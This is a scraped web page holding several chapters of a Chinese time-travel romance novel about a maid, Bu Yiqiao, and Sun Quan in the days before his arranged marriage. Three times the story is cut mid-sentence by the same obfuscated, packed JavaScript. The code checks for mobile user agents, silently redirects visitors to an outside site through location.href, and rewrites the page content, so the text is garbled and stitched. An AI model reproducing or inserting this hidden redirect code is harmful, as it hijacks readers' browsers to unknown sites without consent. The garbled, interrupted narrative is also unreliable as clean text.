;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874343|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙坚在世时便侍奉在府中。 “哟,一乔怎么才回来?” “对不住祁姨,去给乔夫人送了些点心,路上耽搁了。” “火烧稳了便去寻寻二公子吧。方才前院的人说一直不见他踪影,眼看到饭点了,我怕他又只顾着忙事,忘了吃饭。” “好,我这就去。” 灶膛里的火苗已然跃得平顺稳当。步一乔拍了拍手上的灰烬,起身从侧门悄然走了出去。 祁姨是看着府中几位公子小姐长大的,每日最挂心的,便是他们有没有按时吃饭、添衣。 书房、厢房、前厅都寻了一遍,不见人影。步一乔立在廊下,一时也猜不出孙权会去哪儿。 身为贴身侍女,若连自家公子都寻不着,怕是要被撵出府去了。 “人会去哪儿呢……” 步一乔穿过回廊,脚步在青石板上轻顿。庭园里杏花正繁,似落了满枝头的白雪。 她绕过去,便看见孙权倚树而坐,手中握着一卷竹简,膝上还摊着几卷。 他读得专注,连她走近也未察觉。 步一乔抿唇轻笑,放轻脚步,悄悄绕至他身后,就着他肩头的间隙偷眼看去。 “二公子竟躲在此处研读《玄女经》?” 孙权身形微微一滞,却不曾回头,只将竹简不紧不慢地合拢。 “《玄女经》言天时、地利、阵法,如何不可读?再说……能将《九歌》读成《玄女经》,屈子若泉下有知,怕是要叹你‘目眇眇兮愁予’了。” 步一乔得逞地直起身,眼底泛起笑意:“原是奴婢眼拙。不过二公子在这暮春杏花树下读《云中君》,莫不是也想‘览冀州兮有余,横四海兮焉穷’?” 孙权终于转过头来,笑眼中映着渐暗的天光与细碎的杏花,似有星影微漾。 “原来不光历史,文学著作也颇为精通啊。” “那是当然!”步一乔取走孙权膝头竹简,“走吧,该吃饭了。” 孙权微微挑眉,视线跟随,在她转身时轻轻拽住了她的袖角。 “且慢。” 步一乔回眸,见他仍坐在原地。 孙权轻声道:“此处无人。” “……无人又如何?二公子还想做什么吗?” 杏花簌簌落在两人之间,孙权的手指仍松松勾着她的袖缘。 “无人时,你不必唤我‘二公子’。” 远处膳厅的灯火暖黄,祁姨隐约的呼唤声被风吹散。此间只有花落的声音,和他眼中映着的、越来越暗的天光。 她张了张嘴,那个熟悉的称呼在舌尖滚了滚,最终却只是轻轻抽回了衣袖。 “规矩……总是规矩。”她低下头,将竹简抱在胸前,“饭真的要凉了。” 孙权静默片刻,松开了手。 “走吧。”他起身,拂去肩头落花,先一步走进了渐浓的暮色里。 步一乔跟在后面,看着他的背影,忽然觉得掌心那卷竹简沉甸甸的。在即将踏入有人之境,极轻地喃喃: “沅有芷兮澧有兰,思公子兮未敢言。” 孙权微顿的脚步,暴露他听清了低语。勾起唇角,心下感慨,许久没闻到如此喷香的晚膳嘞。 * 【距离二月廿八,还有四天】 步一乔抱着一摞竹简踏出书房,视线被遮挡,只顾着脚下,未曾留意渐近的脚步声,与人迎面撞了个满怀。 “抱歉!是奴婢没长眼睛!”她慌忙后退,卷轴险些滑落。 “无妨。” 一只宽厚的手伸来,稳稳扶住她怀中将倾的卷轴。 步一乔抬头,对上一双爽朗含笑的眼。 “这些卷轴是给仲谋送去?” “是……大公子。”她垂首应道。 孙策站定,目光在她脸上停了停,笑意里带着几分了然:“我认得你。” 步一乔心头一跳。 “你……大公子,认得我?!” 86. 案边客 “那日在街市,仲谋身边的人,是你罢。”孙策笃定笑道,“他很少让人离那么近。” 步一乔不知该如何接话,只将竹简抱得更紧了些。 孙策也不追问,反倒伸手从她怀中取过最上方一卷,展开扫了一眼:“《吴子》……对了,这几日大乔忙里忙外,又时刻挂念阿茹。反正仲谋今日有事不在府上,就你照顾阿茹一日吧。” “啊?”步一乔茫然,“是……奴婢将这摞书送去二公子厢房,便去寻女公子。” 孙策点头,却在她转身时忽然叫住“等等”。 “阿茹这两日咳嗽刚好些,莫让她吃太多甜食。尤其是大乔亲藏的蜜饯。” 步一乔怔了怔,随即领会:“奴婢明白了。” 望着孙策远去的方向,步一乔站在廊下,心中那缕疑思渐沉。 史书对孙策正妻的记载,几乎是一片沉默的空白。只知他有四子女,皆为正室所出,却连她的姓氏都未留下。在这姻亲即为权势纽带的时代,离异几乎不可能,那么…… 或许,她已不在了。 “第一次见到伯符为人父的样子,倒是难得。” 走到孙权房门前,叩门无人应,便轻轻推开。 室内寂静,书案整洁,唯余窗扉半开,风拂纸页。她将竹简放下,目光扫过砚台旁摊开的绢布。是《湘夫人》,正是昨日她念出的那句。 旁边,一枚新折的杏花静静躺着。 步一乔捻起花枝,低头轻嗅,淡香萦绕。目光微转,落在书案另一端,一只小巧的木匣静静搁在那儿,旁附一张素布字条。 “赠卿……真是,若进来的人不是我,叫人瞧见可如何是好!” 打开木匣,匣中并无金银珠玉,只静静躺着一根发带。 青色的绡纱,边缘绣着极淡的杏花暗纹。她忽然想起昨日叫完他用膳,自己跑回膳房途中,发带不知何时松脱掉落,自己没注意,倒是被他瞧见。 发带下还压着一小张素笺,上面是孙权的字迹: “见卿青丝散,如云拂风。杏花新折,不及此一缕牵系。” 窗外微风又起,拂动她颊边碎发。步一乔凝视那根发带良久,终是拿起,将匣子合拢放回原处。 转身离开时,她已用青色发带,将长发重新束好。 * 孙茹病体初愈,步一乔寻至她房中时,小姑娘正坐在窗边,手中拈着针线,对着一块素布认认真真地练习缝纫。 “女公子在学刺绣?” 孙茹闻声抬眸,见是她来,眉眼弯弯地绽开笑颜:“见乔姨这些日子在为我和哥哥缝制新衣,我便也想学着些。” 步一乔走近,在她身旁坐下,目光落在那块布上。针脚虽疏密不均,却能看出是用了心的。 “女公子想绣什么花样?” 孙茹将布面微微举起,有些不好意思地抿嘴笑:“想先绣一片叶子……乔姨衣上的莲叶纹样,很好看。” 步一乔闻言,眼中漾开温软的笑意:“嗯!已经能想象到女公子绣出的莲叶,该有多好看了。” “那,一乔会绣花吗?”孙茹放下手中的布,好奇地望着她。 步一乔轻轻摇头,自嘲道:“奴婢自小笨手笨脚,始终没能学会这细致的活儿。您看,如今除了日常伺候二公子,也只得被分派去厨下生火打杂了。” 一半原因也怪孙权舍不得累着步一乔,担心被府上其他人说闲话,她只好找了膳房这等避人耳目的地方待着。 “母亲从前说过,各人有各人的‘针线’,不在手中,而在心里。一乔定有过人之处,尚未被发现罢了。” 步一乔故作忧虑,弱弱道:“一乔初到府上,有些事……不知当问不当问。” “一乔问的,阿茹知无不言。” “女公子的母亲……去了何处?” 窗外的光似乎暗了一瞬。 孙茹低头抚平膝上的素布,好一会儿才开口:“阿茹不知道……阿茹也想母亲。父亲不肯说,阿茹也不敢问。” 步一乔看见她咬住下唇,眼眶似乎有些泛红,却又倔强地没有让泪水落下。 这孩子平日里太懂事了,懂事得让人常常忘记,她不过是个四岁的小姑娘。 建安五年,孙策二十六,儿子孙绍五岁,女儿孙茹四岁。 如此算来,伯符的发妻定是在他成年后,被安排的联姻。 “为何不唤乔夫人母亲,而是乔姨?”步一乔又问。 孙茹道:“阿茹也不知,父亲让这么喊的。” 如果那位夫人已离世,补齐母亲的身份,孩子该叫大乔母亲。可据步一乔这些日子打听,大乔依然是妾,并未升为妻。 神秘失踪的大夫人?步一乔愈发好奇了。 步一乔伸手,轻轻覆上孙茹的小手。那双手冰凉。 “是奴婢多嘴了,抱歉。”她柔声道,“女公子若愿意,往后无聊,随时唤奴婢便是,我都来陪你。” 孙茹抬起脸,眼眶还红着,却弯起个笑:“姑母常带阿茹去比武擂台看热闹,特别有意思!” 八岁带四岁去比武擂台看戏……步一乔眼前仿佛已浮现出那般画面。 “阿茹!” 门外传来清亮的童声,随即一位约莫五岁的少年快步跑了进来。只一眼,步一乔便认出是孙绍。那眉眼,那神采,简直与孙策一个模子刻出来的。 “哥哥!”孙茹眼睛亮了起来。 孙绍几步走到妹妹跟前,目光先在她脸上停了停,确认她气色是否好些,这才注意到一旁的步一乔。 “你是?”他微微侧头。 “奴婢步一乔,是新来伺候二公子的。”步一乔起身行礼。 孙绍点了点头,注意力很快又转回妹妹身上:“今日可还咳嗽?我方才路过前院,见杏花开得正好,折了一枝给你。” 他从身后伸出手,握着一小枝初绽的杏花,花瓣上还沾着新鲜的露气。 孙茹接过花枝,轻轻嗅了嗅,眉眼弯成了月牙:“谢谢哥哥!” “还有呢,”孙绍眼睛亮亮的,“姐姐明日便从富春赶回吴郡了!咱们仨又能一起玩了!” “真的?!” “真的?!” 两个孩子一同转头,望向满脸惊愕的步一乔。 “你们还有姐姐?!”步一乔话出口才觉失态,忙收敛神色。 孙绍颔首道:“我与瑾姐姐是同一天出生的,不过姐姐比我早些从娘胎里出来,所以我便成了老二。” 步一乔忽然忆起,孙策的确有五个孩子,两个儿子、三个女儿。幼子夭折外,三个女儿全被孙权嫁给三位吴国吴国大将的儿子。至于孙绍后来娶了谁家姑娘,暂且无从得知。 “你们二叔日后是想做月老吗……”步一乔不禁喃喃,转而又问,“那瑾姐姐如今在何处?怎的明日才回?” 孙茹抢着答道:“姐姐随外祖母去寿春养老,这次是特地回来参加喜宴的!” 孙绍接过话头道:“瑾姐姐每次都会给我们带礼物,不知这次会带什么。” 步一乔看着兄妹俩眼中毫无阴霾的欢喜,想象不到他们最终的结局是什么。 史书以外的故事与人啊……即便用心记下,后世又有谁会当真呢? * 这夜步一乔辗转难眠。 她起身研墨,笔锋悬在简上,却久久未能落下。 写什么呢? 史家要的是“孙策长子绍,封吴侯,后徙宛陵侯”,要的是“孙权以策女配陆逊、顾邵、朱据等”,何尝需要知道,叫阿茹的小女孩,曾在某个春日将桃花枝插在兄长鬓边笑闹? 她搁下笔,望向窗外。庭院里月色如水,杏花繁盛。忽然,一阵脚步声由远及近。 “在写什么?” 孙权刚处理完公务回厢房,身为贴身侍女,步一乔自然要服侍二公子睡下,才能回偏院歇息。 “想将史书以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灶孔前,步一乔背靠着土墙,一股股酸涩的恶心感从胃里翻涌上来,对着翻滚的药汤,她已干呕了好几回。 她自小便不喜这股浓郁苦涩的草药味,可反应剧烈到如此地步,却是从未有过。 “穿越一趟,月信紊乱也就罢了,怎么连肠胃也娇贵起来,娇滴滴的像什么——”自言自语戛然而止。 这般情形,似曾相识。 步一乔心一下提起,匆匆将看火之事托付给旁人,提起裙摆跌撞着冲出膳房,朝着前院疾奔。 步一乔冲进议事厅时,孙策正坐于上首,底下是孙权、周瑜、张昭等人。见她气息急促地闯进来,几道目光齐齐落在她身上。 “冒、冒昧打扰……奴婢……有万分紧急之事,需即刻禀报二公子。” 孙权眉心蹙紧,下意识便要起身,眼角余光扫过在场众人,又强自按捺住。 孙策并未深究,只道:“既是要紧事,仲谋且去。” 孙权几步跨到她跟前,压低声音:“去外面说。” 直绕至议事厅后僻静的回廊,四下无人,步一乔才停下,转过身抓住孙权的手臂。 “我这个月的月事迟了半月有余。” 孙权怔住。 “而且在灶前煮汤时,闻到药味就……”她说不下去,只抬手掩住口,恶心感又涌了上来。 “莫非是?!”孙权的声音明显在发抖。 不过与步一乔的发抖不同,他是喜悦的,脸上的明朗说明了一切。 “怎么办,孙权……谢夫人那里还没动静呢!我、我怎么能……先有了?!” 这都什么事儿啊!!!! 87. 莺花月 “罢了,反正还有三天。”步一乔索性戳出去,回抱住孙权。 他却笑了,道:“什么三日,是还有一辈子。” 【距离二月廿八,还有三天】 腰侧一阵酸胀的锐痛将步一乔从混沌中刺醒。她下意识想翻身,酸痛却骤然拧紧,激得她倒抽一口凉气,彻底清醒过来。 都是身旁这人害的。 罪魁祸首却睡得安稳。步一乔咬着牙,脑海里飞快盘算:得赶在天亮前起身,先去膳房生火,再折返回来,伺候这位二公子更衣梳洗…… “起来!” 心头的恼意混着身体的酸疼一齐涌上,她猛地掀开被褥。寒意瞬间贴上肌肤,她浑不在意,只想着身旁这人也不能再安然躺着。 孙权眼睛未睁,笑意先到。 “膳房的差事,当初不是你自己执意要揽下的?” 自己还未开口,心思却已被他轻巧道破。步一乔胸中那口气更不顺了。 “那也怪你!什么事都不许我做。” “不是不让,是没办法。针线活你不擅长,粗重活我又舍不得。这才没了办法。” 他说话时手臂自然地环过来,温热掌心贴在她后腰轻轻揉按。 “昨夜是闹得有些过。今日便歇着吧。” “呵,”步一乔气笑,“昨夜我拦你之前,明明把今日要做的事一件件都禀过了。二公子怕是……故意听不进吧?” 孙权将脸埋在她散开的发丝间,低笑震动胸腔:“听见了。可当时……软玉温香在怀,那些话便从左耳进,右耳出了。” “借口!” “是是是。膳房不必日日去。若有人问,便说我这里有事吩咐。春日渐长,人易倦乏,再陪我歇片刻。” 孙权揉按腰肢的手未停,恰到好处地缓解着酸胀,竟让步一乔一时寻不出挣脱的理由。 “你这人……冥顽不灵。” “只对你。”他答得坦然,下颌轻轻蹭了蹭她的发顶。 步一乔不再言语,只将脸更深地埋进他怀中,算是默许。 不知过了多久,门外传来极轻的叩击声,伴着侍女小心翼翼的询问:“公子,可要起身?” 孙权动了动,将步一乔往怀里拢得更紧些,声音清晰却不高,确保门外能听清,却不扰她安眠:“今日无事,不必伺候,早膳也不必送来。” “是。”脚步声轻轻远去。 步一乔在孙权怀中微微睁开眼,但困得不行,只是伸手环住他的腰,继续睡回笼觉。 窗外,晨曦渐亮,鸟鸣清脆。 又是新的一天。 * “抱歉我来晚了!蒸笼里这些都是二公子的早膳吗?” 步一乔冲进膳房,见灶台上白汽袅袅,伸手便去揭蒸笼盖。 祁姨从水缸旁直起身,一边用围裙擦着手,一边笑着走来:“今早少了你这把火眼金睛盯着,咱们膳房差点儿乱了阵脚。” 步一乔脸一热,忙道:“对不住,祁姨。二公子那边……临时有些吩咐,实在脱不开身。” “哎,这有什么打紧!”祁姨摆摆手,“公子的事自然是头等要紧。” 她说着,亲自垫着厚布掀开笼盖,一团更浓郁的暖香扑面而来。 “瞧瞧,照着你昨日说的方子,试蒸的枣泥山药糕,尝尝?” “真的?!”步一乔眼睛一亮,接过还温热的糕,小心咬了一口。清甜绵软的口感在舌尖化开,她眉眼立刻弯了起来,“就是这个味道!祁姨您手艺真是绝了!” 祁姨看着她吃得欢喜,眼里的笑意更深了些:“喜欢就好。快给公子送去吧,凉了味道该打折了。” 步一乔连忙应下,仔细将几样点心在托盘中摆好。 “午膳备菜时,我定早些过来。” 祁姨佯装板起脸,打趣道:“你啊,到底算我膳房的人,还是二公子屋里的人?” “二公子日理万机嘛。祁姨,我先走啦!” 她端起托盘,脚步轻快地踏出了膳房。 孙权已在房中静坐。手中虽捧着书卷,目光却不时掠向门口。听得廊下熟悉的脚步声由远及近,他唇角微不可察地弯了弯,随即收敛神色,将视线重新落回书页上,俨然一副专心阅读的模样。 “公子哥,该吃饭啦。” 清亮的声音伴着跨入门槛的脚步声响起。 孙权闻声,眉头轻挑,目光从书卷上抬起,落在她带笑的脸庞上。 “公子哥?这又是……给我新起的名号?” 步一乔将托盘轻轻搁在桌上,一边利落地布菜,一边抬眼瞧他。 “怎么,这个称呼不衬你么?整日里不是读书就是议事的,可不就是位十足的‘公子哥’?” 孙权放下书卷,目光随着她的动作移动。 “比起‘公子哥’,我许久没听你唤我那两个字了。” 步一乔布菜的手几不可察地顿了一下。但很快恢复如常,将最后一碟枣泥山药糕放好,拿起空托盘抱在身前。 “您怕是还没睡醒吧。赶紧用膳,小心上班迟到。” “迟不了。坐下一同用些。” “下人不可与主子同席而食,这是规矩。” “规矩是死的。我此刻说可以,便可以。” “规矩立在那里,便是要人守的。二公子身份尊贵,更应以身作则。” 孙权看着步一乔那双写满坚持的眼睛,终于,几不可闻地轻叹了一声。 “罢了,随你。” 步一乔行了一礼:“是。奴婢告退。” 孙权独自坐在桌边,目光落在面前精致的早膳上,良久未动。热气早已散尽,再食,索然无味。 * 距离大婚还有三日,孙府上下已浸入一片灼目的红。廊庑亭台,门窗梁柱,处处都在披红挂彩,连庭院里新抽的嫩叶都仿佛染上了喜气,人人步履带风,脸上映着彤光。 步一乔正与一个叫阿舒的丫头一同贴着窗棂上的双喜字。朱红的剪纸衬着明纸,格外鲜亮。 “都说男子二十弱冠方是成家立业的时候,”阿舒一边仔细抚平剪纸的边角,一边低声闲聊,“咱们二公子才刚满十八,便要迎娶谢小姐过门了,可见主公与夫人是多盼着这桩喜事。” 步一乔将剪纸最后一点皱褶捋平,看着圆满的“喜”字,轻声应道:“嗯,是桩大喜事。” 阿舒没察觉她话音里的轻,只自顾自往下说: “谢小姐出身好,模样性情听说也是顶拔尖的。日后做了咱们的二夫人,这府里怕是更要有规矩了。” 她说着,又拿起一张喜字,比划着位置。 “不过这样也好,早早定下,省得外头那些心思浮动的人惦记……诶,一乔,你说是吧?” 步一乔正伸手去够浆糊碗,用刷子慢慢将浆糊涂抹在剪纸背面,均匀细致。 “嗯,门当户对,天作之合,自然是极好的。” 浆糊有些黏手,她在帕子上擦了擦,才将那张红艳艳的喜字端正地贴在窗格中央。 远处传来管事催促挂灯笼的吆喝声,夹杂着仆役们忙碌的脚步声和隐约的笑语。 阿舒贴好了自己那份,退后两步端详,满意地点点头。她转头看向步一乔,忽然“咦”了一声:“一乔,你这张……好像贴得有点歪?” 步一乔顺着她的目光看去。窗纸上,并排的两个“喜”字,一个端正圆满,另一个……似乎的确向□□斜了一丝,不仔细看几乎辨不出。 她静静看了两秒,只需轻轻一揭,再重新对齐,便能修正这微不足道的瑕疵。手指却停在半空,不愿再碰。 “就这样吧,仔细看,倒像活了一般,不那么板正,也挺好。” 阿舒眨了眨眼,虽有些不解,但见管事娘子正往这边瞧,便也不再纠结,赶紧拉着步一乔去领下一处的装饰了。 “我听人说,这几日二公子时常独自外出,很晚才回府,神神秘秘的。有人私下里嚼舌根,猜二公子是不是去寻那位传说中的心上人,做最后的告别。”阿舒压低声音道。 两人抱着红绸缎,往大门走。步一乔看着怀中亮眼的喜红,心思开叉,想起了昨夜房中之事。 “嗯……谢夫人温婉贤淑,日子久了,二公子自然懂得珍惜。外头的人与事,迟早会淡的。” “怎会!一乔你有所不知,咱二公子可深情了!听朱然大人身边的近侍提过,二公子对那位,可是从七岁起就放在心尖上的!从庐江一路寻到吴郡,眼看着都要修成正果了……谁知如今,竟要另娶他人。” 阿舒说着,叹了口气,又道:“你说,这得多难受啊。心里装着一个人,却要对着另一个人笑,拜堂成亲……” 步一乔突然觉着怀里的大红绸缎变得格外轻盈。这番话听来本该难过的,但转念一想,即使是当下这条时间线,那个被他从七岁起就放在心尖上寻找、惦念的人,也始终是她。 “嗯?一乔你怎么还笑啊?” 步一乔蓦地回神,将泄露的情绪小心敛起,道:“我是在想,咱们二公子这般重情,将来无论对谁,定然都不会差的。” 这话说得熨帖又周全,叫人挑不出错处。阿舒听了,也若有所思地点点头:“倒也是。” * 忙活了一天的步一乔瘫在床铺上差点睡着,闻到饭菜香,才想起她家二公子。 “完了!还没叫他吃饭!” 她慌忙起身,推开房门。天光已全然暗沉,墨蓝的天幕上缀着几颗疏星。这个时辰,膳房早该熄火收拾停当了。 步一乔心下焦急,还是快步朝膳房方向赶去。 “冷锅冷灶……完了,孙权要饿肚子了!” 她扶着冰凉的灶台,一时有些无措。正想着是不是该去他房里看看,或者想办法找些点心,身后忽然传来轻微的脚步声,随即,一点暖黄的光晕漫了过来,驱散了眼前的黑暗。 “现在才想起我?” 熟悉的声音在身后响起,步一乔蓦然转身。孙权提着灯站在门边,烛光映着他半张脸,温柔至极。 “你……饿不饿?我会下面!呃……这个时代煮面,得从和面开始吧……” 孙权笑着走近她,道:“知道你忙了一日,定然乏了,便没叫你。离宵禁还有些时间,想不想随我去外面吃?” “公子带侍女去下馆子?” “嗯。西市巷尾有家食铺,这个时辰还开着,想去尝尝吗?” 步一乔怕被人发现,寻思着拒绝,肚子却不合时宜地发出抗议,非要她去尝尝。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881762|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那你等我换身衣裳,把自己包裹严实些。” “好。不急,我在后门等你。” 步一乔提起裙摆,快步走向自己房间。 换了身最不起眼的深青色布裙,用同色的头巾将大半张脸和发髻都仔细包好,只露出一双眼睛。对镜端详片刻,自觉已足够低调,这才匆匆折返。 远远地,便看见后门那株老槐树下,立着一个挺拔的身影。他负手而立,仰头望着疏朗的星子,听见脚步声,才转过头来。 目光落在她这身装扮上,他微微一怔,随即唇角弯起一个极浅的弧度。 “二公子这表情,莫非是第一眼没认出我?” “怎会。只要看见这双眼睛,无论在何处,我都能认出你。走吧。” 他转身,先一步推开虚掩的后门。步一乔跟上,迈过门槛时,夜风迎面拂来,带着坊市间隐约的烟火气。 虽已入夜,但街市上格外热闹。步一乔看着身边年轻男女相伴而出,提着形态各异的花灯。 “今天是什么日子吗?我看大家手里都拿着花灯?” 孙权颔首道:“二月廿五,吴郡特有的花灯节。” “花灯节?”步一乔有些好奇。她所知的上巳、元宵皆有灯会,这二月廿五却未曾听过。 “嗯。旧俗说是为祈蚕桑丰顺,女子们在这一夜持灯游走,光照路径,以引祥瑞。后来便渐渐成了年轻男女相约夜游、互赠花灯的时节。” 他说话间,正有一对少年少女从旁经过。少年将一盏精巧的兔子灯递到少女手中,少女低头接过,耳根在灯影下泛着浅浅的红。两人相视一笑,并肩汇入了提灯的人流。 步一乔看着那渐远的、相依偎的背影,竟生出些许羡慕。 她悄悄抬眼,看向前方孙权的背影。他似乎对这满街的旖旎风光并无多少兴趣,只一心朝着既定的目的地去。 就在她收回目光的刹那,孙权却忽然停下了脚步。他转过身,望向她。 “想提一盏么?”他忽然问。 “啊?”步一乔一愣。 “花灯。”他重复道,下巴微抬,示意向不远处被少男少女围住的花灯摊子。摊主手巧,各色花灯栩栩如生,在夜色中流光溢彩。 “……可以吗?” 孙权没有回答,只转身朝那灯摊走去。 步一乔连忙跟上。 摊主是个笑容可掬的老翁,见是孙权,忙热情招呼:“不曾想是二公子!真是贵客临门,蓬荜生辉啊!” 孙权抬手虚按了一下,止住他更多的客套,偏过头问身旁之人:“可有喜欢的?” 藏在厚布下的步一乔哪敢搭话,甚至想装作不认识赶紧离开。但事已至此,唯有速战速决。 她随手一指,指了盏式样最简单的,素白绢面,只以淡墨勾勒几枝梅影。 很像当年伯符送自己的那盏灯。 孙权顺着她的视线望去,片刻,对老翁道:“就那盏梅灯。” 老翁早已备好红烛,手脚利落地为梅花灯换上点燃。 步一乔接过灯,颔首低声道谢。 两人转身汇入人群,看着手里的灯,步一乔忽觉几分好笑。本就是偷溜出来,眼下又提个明晃晃的灯回去,岂非更惹眼? 她正暗自思忖,走在身侧的孙权开口道:“若是担心,放我房里便是。” “只能如此了。”步一乔轻笑道,“谁让咱们二公子在吴郡无人不识。若是没人认出,提盏灯回去倒也无妨;既被认出了,明日还不知要传出什么闲话来。” 孙权看着那双笑得半眯的眼睛,今夜此行的目的,也算是圆满了。 步一乔见孙权望着自己出神,没忍住伸手戳了戳他的脸。 “我藏得这么严实,有什么可看的。” “什么样都好看。” “……二公子近来油嘴滑舌得厉害啊。” 孙权浅浅勾唇,道:“因为担心你。” 步一乔不解:“我有什么可担心的?” 孙权默然片刻,目光落在她空着的那只手上,沉吟少许,终是借着袖摆的遮掩,轻轻将她的手握住。 “过了今夜,还有二日……怕你暗自思虑,只好一遍一遍说与你听。我的情意,从前许诺的话,永远作数。” 过了今夜,距离二月廿八,还有两天。 过了今夜,距离孙氏与谢氏大婚之日,还有两天。 步一乔垂眼看着那遮掩着的、相连的手,忽然极轻地笑了一声。 “嗯,我知道。但我们说好的,所以不必担心我。大局为重嘛,这叫牺牲小我,成就大家!” * (还是四月的某日) “完了完了……怎么偏在这种时候怀上!” 孙权看着步一乔微微发颤的肩,轻笑着将她揽进怀里。 “别怕,有我在呢。” 怀里的人见他眉眼含笑,气得往他脚上一踩。 “都怪你!这到底怎么回事!怎么我都有了,谢夫人那儿却还没动静?!” 孙权故作沉吟,片刻后带着几分笑意说: “许是因为,我始终只与你一人同房罢。” 步一乔睁大了眼,怔了好一会儿。 “……啊?!” 88. 又惊春 【距离二月廿八,还有二天】 迷糊间,耳边吵吵嚷嚷的,像身处闹市的吵嚷,叫卖声吆喝声不绝于耳。 步一乔烦躁地拽过被子,想把整个人蒙进去,可被子却沉甸甸的,怎么也拉不动。 今天这被褥怎么这样沉? 她不甘心,又用力扯了扯。 “别扯了……再扯我可没得盖了。” 步一乔动作一僵。 这声音…… 她昏昏沉沉地回想睡前种种:与孙权逛灯市、提了梅花灯、一同用饭,然后……那人笑着说盏中是茶,她饮下去才知是酒,一杯入喉,后面的事便记不真切了…… “啊啊啊啊啊啊啊!!!!!!” 步一乔猛地坐起身,慌张地环顾四周。 真是客栈! 她低头看向自己身上,空无一物。她又慌忙看向身侧,孙权侧躺在身侧,同样空无一物,手撑着额角,好整以暇地看着她,似笑非笑。 步一乔声音发干,“你……我们……” 孙权自然地接过话:“你醉得厉害,拉着我不肯松手,只好将你带来客栈歇息。” 步一乔震惊:“那、那你为何不直接送我回府?” “我也……实在回不去啊。” 说着,孙权垂下眼,目光落在她手腕上的红绳,而绳子的另一端,系在孙权手腕上。 “这是什么?”步一乔抬起手臂,一脸茫然。 孙权也跟着动了动手腕,红绳轻轻扯动,将两人的距离无声拉近几分。 “昨夜你拉着我说,怕我趁你醉时走掉,非要找根绳子将你我系在一起。” 步一乔盯着那根红绳,隐约片段翻涌上来——烛光摇曳里,自己低着头,笨拙地系着绳结,嘴里还念念有词:“这样你就跑不掉了……” 她耳尖骤然烧了起来。 “那、那现在解开!得赶紧回去,若是被人发现二公子与婢女在外过夜,你我怕是要完了!”她说着便伸手要去扯那绳结。 孙权却将手腕轻巧一抬,避开了她的指尖。 “你系的是死结。我试过,解不开。”他看着她渐渐涨红的脸,慢条斯理地说,“岂不正好?这样,我就跑不掉了。” 步一乔脸涨红得更厉害。 “你跑不掉——可我、我也跑不掉了呀!” 孙权看着她慌乱的模样,眼底笑意渐深。他忽然往前凑近了些,单手抚上步一乔的后背,将人按入怀中。 “无法与心念之人朝夕相对的孙仲谋,此生从未如此渴求过寸缕光阴。此刻……只想这样与你多待片刻。” 步一乔伏在他肩头,方才的慌乱渐渐沉淀下来,化作一片温软的静默。她没再挣扎,也没再提解绳之事,只无声地放任自己陷在这个拥抱里。 “今日……似乎是休沐之日?” “嗯。” “若有人问起,便说是二公子非要出门散心,又使性不肯归,我只好一路跟随照应。” 孙权低低笑了,“好,都依你。” * 两人赶在日落前回到府中。果不其然,一日一夜不见踪影,府里上下早已传遍,一见步一乔回来,便都围了上来。 “一乔你可算回来了!快说说,二公子是不是去会那位心上人,让你在旁守着?” “自然不是,莫要乱猜。” “难道……二公子是想逃婚?带你提前去探路不成?” “越说越离谱了……”步一乔无奈摇头,“都放宽心吧。二公子只是心中有些闷,出门散散心罢了。” 众人闻言,互相递了个眼神,这才陆续散去。步一乔刚暗自松了口气,却见吴夫人房中的贴身侍女款步而来,在她面前停下,温声道:“一乔,夫人叫你过去一趟。” “好……” 该来的躲不过。是时候展现自己惊人的说话水平了! 吴夫人正坐在房中翻看喜帖,见步一乔进来,也未抬眼,只淡淡问道:“仲谋昨夜与今日,去了何处?” 步一乔垂首应道:“回老夫人,二公子昨日心中郁结,独自在酒楼饮了些酒。今日又见春色尚好,便径直出城赏景散心,因而方才归来。” 吴夫人手中请柬轻轻合上,目光终于落向步一乔。 “他独自一人?” “是。”步一乔答得干脆,“奴婢只是奉命远远跟着,未敢打扰二公子清净。” 房里静了片刻,只有窗外隐约的鸟鸣。 “你向来懂事。”吴夫人淡然道,“再过两日便是大婚,府中人多事杂,仲谋身边离不得人。这些日子,你多留心些。” “奴婢明白。” “去吧。” 步一乔行礼退出,转身时,才发觉背后已渗出薄薄一层汗。 廊下风过,她轻轻舒了口气,抬眼却见孙权藏在几步外的槐树下,不知已等了多久。 “母亲难为你了?” “没有。只是让我好好看着你。”步一乔松了口气,“好在二公子好饮之名在外,无人起疑。” 孙权低笑一声,道:“倒被你说得像个酗酒之徒。” 他目光落在她仍带着薄汗的额角,伸手用袖沿轻轻拭了拭。 步一乔下意识环顾四周,好在僻静,不常有人经过。 “累吗?” “不累。只是……” “只是?” “只有一天了。” 远处乐伎正在试音,零星的丝竹声随风飘来,又散在渐浓的暮色里。 大婚将近的府邸,处处张灯结彩,唯有这槐树下,偷得一片尚未被喜绸染尽的青灰。 “孙权。” “我在。” “你还欠我一场婚宴呢。” 孙权的手悄悄勾住步一乔的手。 